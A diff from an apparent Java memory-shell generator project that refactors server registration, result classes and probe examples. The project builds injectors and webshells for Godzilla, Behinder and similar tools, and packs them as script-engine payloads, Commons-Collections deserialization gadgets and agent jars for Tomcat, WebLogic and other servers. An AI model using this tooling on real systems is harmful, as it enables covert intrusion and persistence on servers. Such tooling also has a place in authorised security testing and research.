.host("xxx.dns.log")
.build();
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
@@ -1,10 +1,14 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
@@ -33,18 +37,13 @@ public class Godzilla {
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
@@ -1,11 +1,15 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.JarPacker;
import com.sun.security.ntlm.Server;
import java.nio.file.Files;
import java.nio.file.Paths;
@@ -38,7 +42,7 @@ public class GodzillaAgent {
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
@@ -46,7 +50,7 @@ public class GodzillaAgent {
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
Files.write(Paths.get("agent.jar"), agentJarBytes);
}
}
@@ -0,0 +1,35 @@
package com.reajason.javaweb;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import static com.reajason.javaweb.Server.Tomcat;
/**
* @author ReaJason
* @since 2025/8/13
*/
public class ResponseBodyProbe {
public static void main(String[] args) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Command)
.shrink(true)
.debug(false)
.build();
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(Tomcat)
.reqHeaderName("X-Echo")
.build();
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.SleepConfig;
import static com.reajason.javaweb.Server.Tomcat;
/**
* @author ReaJason
* @since 2025/8/13
*/
public class SleepProbe {
public static void main(String[] args) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.Sleep)
.probeContent(ProbeContent.Server) // 暂只支持 Server
.shrink(true)
.debug(false)
.build();
SleepConfig sleepConfig = SleepConfig.builder()
.server(Tomcat)
.seconds(5).build();
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
+16 -23
View File
@@ -27,29 +27,22 @@ tasks.test {
}
dependencies {
implementation(platform(project(":memshell-party-bom")))
implementation(project(":memshell-party-common"))
implementation(project(":deserialize"))
implementation(project(":packer"))
implementation(libs.byte.buddy)
implementation(libs.asm.commons)
implementation(libs.javax.websocket.api)
implementation(libs.javax.servlet.api)
implementation(libs.spring.webmvc)
implementation(libs.spring.webflux)
implementation(libs.reactor.netty.core)
implementation(project(":memshell"))
implementation("net.bytebuddy:byte-buddy")
implementation("org.ow2.asm:asm-commons")
implementation("net.java.dev.jna:jna")
implementation("net.java.dev.jna:jna-platform")
implementation("javax.servlet:javax.servlet-api")
implementation("javax.websocket:javax.websocket-api")
implementation("org.apache.bcel:bcel")
implementation("commons-io:commons-io")
implementation("org.apache.commons:commons-lang3")
implementation("com.squareup.okhttp3:okhttp")
implementation("ch.qos.logback:logback-classic")
implementation("com.fasterxml.jackson.core:jackson-databind")
implementation("org.springframework:spring-webmvc")
implementation("org.springframework:spring-webflux")
implementation("io.projectreactor.netty:reactor-netty-core")
testImplementation(platform("org.junit:junit-bom"))
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
testImplementation("org.mockito:mockito-core")
testImplementation("org.mockito:mockito-junit-jupiter")
implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.okhttp3)
implementation(libs.logback.classic)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.bundles.mockito)
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb;
/**
* @author ReaJason
* @since 2025/7/21
*/
public class GenerationException extends RuntimeException {
public GenerationException(String message) {
super(message);
}
public GenerationException(String message, Throwable cause) {
super(message, cause);
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb;
/**
* @author ReaJason
* @since 2025/8/11
*/
public class Server {
public static final String Tomcat = "Tomcat";
public static final String Jetty = "Jetty";
public static final String Undertow = "Undertow";
public static final String JBoss = "JBoss";
public static final String Resin = "Resin";
public static final String WebLogic = "WebLogic";
public static final String WebSphere = "WebSphere";
public static final String GlassFish = "GlassFish";
public static final String TongWeb = "TongWeb";
public static final String BES = "BES";
public static final String InforSuite = "InforSuite";
public static final String Apusic = "Apusic";
public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB";
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.generator;
package com.reajason.javaweb;
/**
* @author ReaJason
@@ -1,12 +1,12 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair;
@@ -18,15 +18,15 @@ import java.util.Map;
*/
public class MemShellGenerator {
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Server server = shellConfig.getServer();
AbstractShell shell = server.getShell();
if (shell == null) {
throw new IllegalArgumentException("Unsupported server: " + server);
public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
String serverName = shellConfig.getServer();
AbstractServer server = ServerFactory.getServer(serverName);
if (server == null) {
throw new GenerationException("Unsupported server: " + serverName);
}
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
@@ -36,11 +36,11 @@ public class MemShellGenerator {
Class<?> injectorClass = null;
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
injectorClass = server.getShellInjectorMapping().getInjector(shellConfig.getShellType());
} else {
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
Pair<Class<?>, Class<?>> shellInjectorPair = server.getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) {
throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
throw new GenerationException(serverName + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
}
Class<?> shellClass = shellInjectorPair.getLeft();
injectorClass = shellInjectorPair.getRight();
@@ -57,7 +57,7 @@ public class MemShellGenerator {
byte[] injectorBytes = injectorGenerator.generate();
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return GenerateResult.builder()
return MemShellResult.builder()
.shellConfig(shellConfig)
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
@@ -0,0 +1,77 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPackerConfig;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "Builder")
public class MemShellResult {
private String shellClassName;
private transient byte[] shellBytes;
private long shellSize;
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public static class Builder {
public MemShellResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
shellSize = shellBytes.length;
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length;
}
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
public JarPackerConfig toJarPackerConfig() {
JarPackerConfig jarPackerConfig = new JarPackerConfig();
jarPackerConfig.setMainClassName(injectorClassName);
Map<String, byte[]> bytes = new HashMap<>();
bytes.put(shellClassName, shellBytes);
bytes.put(injectorClassName, injectorBytes);
if (injectorInnerClassBytes != null) {
bytes.putAll(injectorInnerClassBytes);
}
jarPackerConfig.setClassBytes(bytes);
return jarPackerConfig;
}
public ClassPackerConfig toClassPackerConfig() {
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
classPackerConfig.setClassName(injectorClassName);
classPackerConfig.setClassBytes(injectorBytes);
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
if (shellConfig != null) {
classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule());
}
return classPackerConfig;
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.server.*;
import com.reajason.javaweb.memshell.shelltool.antsword.*;
import com.reajason.javaweb.memshell.shelltool.behinder.*;
@@ -7,108 +8,43 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*;
import lombok.Getter;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.function.Supplier;
import static com.reajason.javaweb.memshell.ShellType.*;
import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
/**
* @author ReaJason
* @since 2024/11/22
* @since 2025/8/11
*/
@Getter
public enum Server {
/**
* Tomcat 中间件
*/
Tomcat(new TomcatShell()),
/**
* Jetty 中间件
*/
Jetty(new JettyShell()),
/**
* JBoss AS 中间件JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/
JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()),
/**
* Undertow对应是 Wildfly 以及 JBoss EAP也有可能是 SpringBoot 用的
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
*/
Undertow(new UndertowShell()),
JBossEAP7(new UndertowShell()),
WildFly(new UndertowShell()),
/**
* SpringMVC 框架
*/
SpringWebMvc(new SpringWebMvcShell()),
/**
* Spring WebFlux 框架
*/
SpringWebFlux(new SpringWebFluxShell()),
/**
* WebSphere 中间件
*/
WebSphere(new WebSphereShell()),
/**
* WebLogic 中间件
*/
WebLogic(new WebLogicShell()),
/**
* Resin 中间件<a href="https://caucho.com/products/resin/download">Resin</a>
*/
Resin(new ResinShell()),
/**
* GlassFish 中间件
*/
GlassFish(new GlassFishShell()),
Payara(new GlassFishShell()),
/**
* 宝兰德中间件
*/
BES(new BesShell()),
/**
* 东方通中间件
*/
TongWeb6(new TongWeb6Shell()),
TongWeb7(new TongWeb7Shell()),
TongWeb8(new TongWeb8Shell()),
/**
* 金蝶天燕中间件
*/
Apusic(new ApusicShell()),
/**
* 中创中间件
*/
InforSuite(new InforSuiteShell()),
/**
* 普元中间件
*/
Primeton(new GlassFishShell()),
/**
* XXL-JOB
*/
XXLJOB(new XxlJobShell());
private final AbstractShell shell;
Server(AbstractShell shell) {
this.shell = shell;
}
public class ServerFactory {
private static final Map<String, Supplier<AbstractServer>> registry = new ConcurrentHashMap<>();
private static final Map<String, AbstractServer> instances = new ConcurrentHashMap<>();
private static final List<String> servers = new CopyOnWriteArrayList<>();
static {
register(Server.Tomcat, Tomcat::new);
register(Server.Jetty, Jetty::new);
register(Server.Undertow, Undertow::new);
register(Server.JBoss, Jboss::new);
register(Server.Resin, Resin::new);
register(Server.WebLogic, WebLogic::new);
register(Server.WebSphere, WebSphere::new);
register(Server.GlassFish, GlassFish::new);
register(Server.TongWeb, TongWeb::new);
register(Server.BES, Bes::new);
register(Server.InforSuite, InforSuite::new);
register(Server.Apusic, Apusic::new);
register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
@@ -259,4 +195,51 @@ public enum Server {
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.build());
}
}
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
if (serverName == null || serverName.trim().isEmpty()) {
throw new IllegalArgumentException("Server name cannot be null or empty.");
}
Supplier<AbstractServer> existing = registry.putIfAbsent(serverName, shellSupplier);
if (existing == null) {
servers.add(serverName);
}
}
public static AbstractServer getServer(String serverName) {
if (serverName == null) {
return null;
}
return instances.computeIfAbsent(serverName, k -> {
Supplier<AbstractServer> supplier = registry.get(k);
if (supplier == null) {
throw new IllegalArgumentException("Unsupported server type: '" + serverName + "'.");
}
return supplier.get();
});
}
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer);
InjectorMapping shellInjectorMapping = server.getShellInjectorMapping();
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
for (String shellType : injectorSupportedShellTypes) {
Class<?> shellClass = rawToolMapping.get(shellType);
if (shellClass == null) {
continue;
}
toolMappingBuilder.addShellClass(shellType, shellClass);
}
server.addToolMapping(shellTool, toolMappingBuilder.build());
}
}
public static List<String> getSupportedServers() {
return Collections.unmodifiableList(servers);
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.memshell;
/**
* @author ReaJason
* @since 2025/6/11
*/
public class ServerType {
public static final String TOMCAT = "Tomcat";
public static final String JETTY = "Jetty";
public static final String JBOSS_AS = "JBossAS";
public static final String JBOSS_EAP6 = "JBossEAP6";
public static final String UNDERTOW = "Undertow";
public static final String JBOSS_EAP7 = "JBossEAP7";
public static final String WILDFLY = "Wildfly";
public static final String RESIN = "Resin";
public static final String GLASSFISH = "Glassfish";
public static final String PAYARA = "Payara";
public static final String WEBLOGIC = "WebLogic";
public static final String WEBSPHERE = "WebSphere";
public static final String SPRING_WEBMVC = "SpringWebMVC";
public static final String SPRING_WEBFLUX = "SpringWebFlux";
public static final String XXL_JOB = "XXL-JOB";
public static final String APUSIC = "Apusic";
public static final String BES = "BES";
public static final String INFORSUITE = "InforSuite";
public static final String PRIMETON = "Primeton";
public static final String TONGWEB6 = "TongWeb6";
public static final String TONGWEB7 = "TongWeb7";
public static final String TONGWEB8 = "TongWeb8";
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
@@ -34,7 +35,7 @@ public enum ShellTool {
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new RuntimeException("Failed to create generator for " + this, e);
throw new RuntimeException("shell generate failed " + e.getMessage(), e);
}
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.Builder;
import lombok.Getter;
import lombok.ToString;
@@ -1,47 +0,0 @@
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Base64;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult {
private String shellClassName;
private transient byte[] shellBytes;
private long shellSize;
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public static class GenerateResultBuilder {
public GenerateResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
shellSize = shellBytes.length;
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length;
}
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
@@ -1,13 +1,12 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
@@ -21,17 +20,23 @@ public class ShellConfig {
/**
* 目标服务类型
*/
Server server;
private String server;
/**
* 目标服务版本
*/
@Builder.Default
private String serverVersion = "unknown";
/**
* 内存马功能
*/
ShellTool shellTool;
private ShellTool shellTool;
/**
* 内存马类型
*/
String shellType;
private String shellType;
/**
* 生成类的目标 JRE 版本
@@ -63,7 +68,7 @@ public class ShellConfig {
public boolean isJakarta() {
return StringUtils.containsIgnoreCase(shellType, "jakarta");
return shellType.startsWith(ShellType.JAKARTA);
}
public boolean needByPassJavaModule() {
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
@@ -2,8 +2,8 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.DigestUtils;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -1,13 +1,15 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.server.AbstractServer;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
@@ -36,14 +38,14 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
String shellType = shellConfig.getShellType();
AbstractShell shell = shellConfig.getServer().getShell();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName);
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
}
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = ValveGenerator.build(builder, shell);
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
}
if (shellConfig.isJakarta()) {
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
@@ -23,7 +24,7 @@ public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
String shellClassBase64 = shellToolConfig.getShellClassBase64();
if (StringUtils.isBlank(shellClassBase64)) {
throw new IllegalArgumentException("Custom shell class is empty");
throw new GenerationException("Custom shell class is empty");
}
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
@@ -1,10 +1,9 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.DigestUtils;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -5,7 +5,7 @@ import com.reajason.javaweb.asm.InnerClassDiscovery;
import com.reajason.javaweb.buddy.*;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.type.TypeDescription;
@@ -1,17 +1,14 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
@@ -22,13 +19,9 @@ import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
public class ListenerGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getResponseFromRequest"),
new MethodCallReplaceVisitorWrapper(
newClassName,
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance(
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.server.*;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.memshell.server.Bes;
import com.reajason.javaweb.memshell.server.TongWeb;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
@@ -27,18 +30,21 @@ public class ValveGenerator {
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null;
if (shell instanceof TongWeb6Shell) {
if (serverVersion.equals("6")) {
packageName = TONGWEB6_VALVE_PACKAGE;
} else if (shell instanceof TongWeb7Shell) {
} else if (serverVersion.equals("7")) {
packageName = TONGWEB7_VALVE_PACKAGE;
} else if (shell instanceof TongWeb8Shell) {
} else if (serverVersion.equals("8")) {
packageName = TONGWEB8_VALVE_PACKAGE;
} else if (shell instanceof BesShell) {
} else if (shell instanceof Bes) {
packageName = BES_VALVE_PACKAGE;
}
if (StringUtils.isEmpty(packageName)) {
if (shell instanceof TongWeb) {
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
}
return builder;
}
